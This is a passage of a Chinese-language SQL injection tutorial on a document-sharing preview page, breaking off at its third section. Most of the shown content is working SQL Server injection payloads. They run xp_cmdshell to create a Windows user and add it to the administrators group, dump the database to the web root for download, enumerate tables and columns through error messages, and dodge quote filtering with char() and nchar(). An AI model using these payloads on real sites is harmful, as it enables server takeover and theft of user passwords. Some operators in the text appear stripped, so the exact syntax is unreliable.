关于SQL漏洞全接触详解.docVIP

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
关于SQL漏洞全接触详解

关于SQL漏洞全接触sql是专为数据库而建立的操作命令集,是一种功能齐全的数据库语言。在使用它时,只需要发出“做什么”的命 令,“怎么做”是不用使用者考虑的。sql功能强大、简单易学、使用方便,已经成为了数据库操作的基础,并且现在几乎所有的数据库均支持sql。服务器托管、vps主机、服务器租用的中国信息港在这里为你详细介绍!   第一节、利用系统表注入SQLServer数据库   SQL Server是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子: ① http://Site/url.asp?id 1;exec master..xp_cmdshell “net user name password /add”-- 分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是 Select出ID 1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密 码为password的windows的帐号,接着:   ② http://Site/url.asp?id 1;exec master..xp_cmdshell “net localgroup name administrators /add”--   将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。   ③ http://Site/url.asp?id 1 ;and db_name 0   前面有个类似的例子and user 0,作用是获取连接用户名,db_name 是另一个系统变量,返回的是连接的数据库名。   ④ http://Site/url.asp?id 1;backup database 数据库名 to disk ’c:\inetpub\wwwroot\1.db’;-- 这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下 载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share \1.db),但成功率不高。   ⑤ http://Site/url.asp?id 1 ;and Select Top 1 name from sysobjects where xtype ’U’ and status 0 0 前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype ’U’ and status 0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留 给我们聪明的读者思考吧。   ⑥ http://Site/url.asp?id 1 ;and Select Top 1 col_name object_id ‘表名’ ,1 from sysobjects 0   从⑤拿到表名后,用object_id ‘表名’ 获取表名对应的内部ID,col_name 表名ID,1 代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。   以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。   第二节、绕过程序限制继续注入   在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。   在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句: 简单的如where xtype ’U’,字符U对应的ASCII码是85,所以可以用where xtype char 85 代替;如果字符是中文的,比如where name ’用户’,可以用where name nchar 29992 +nchar 25143 代替。   第三

文档评论(0)

peain + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档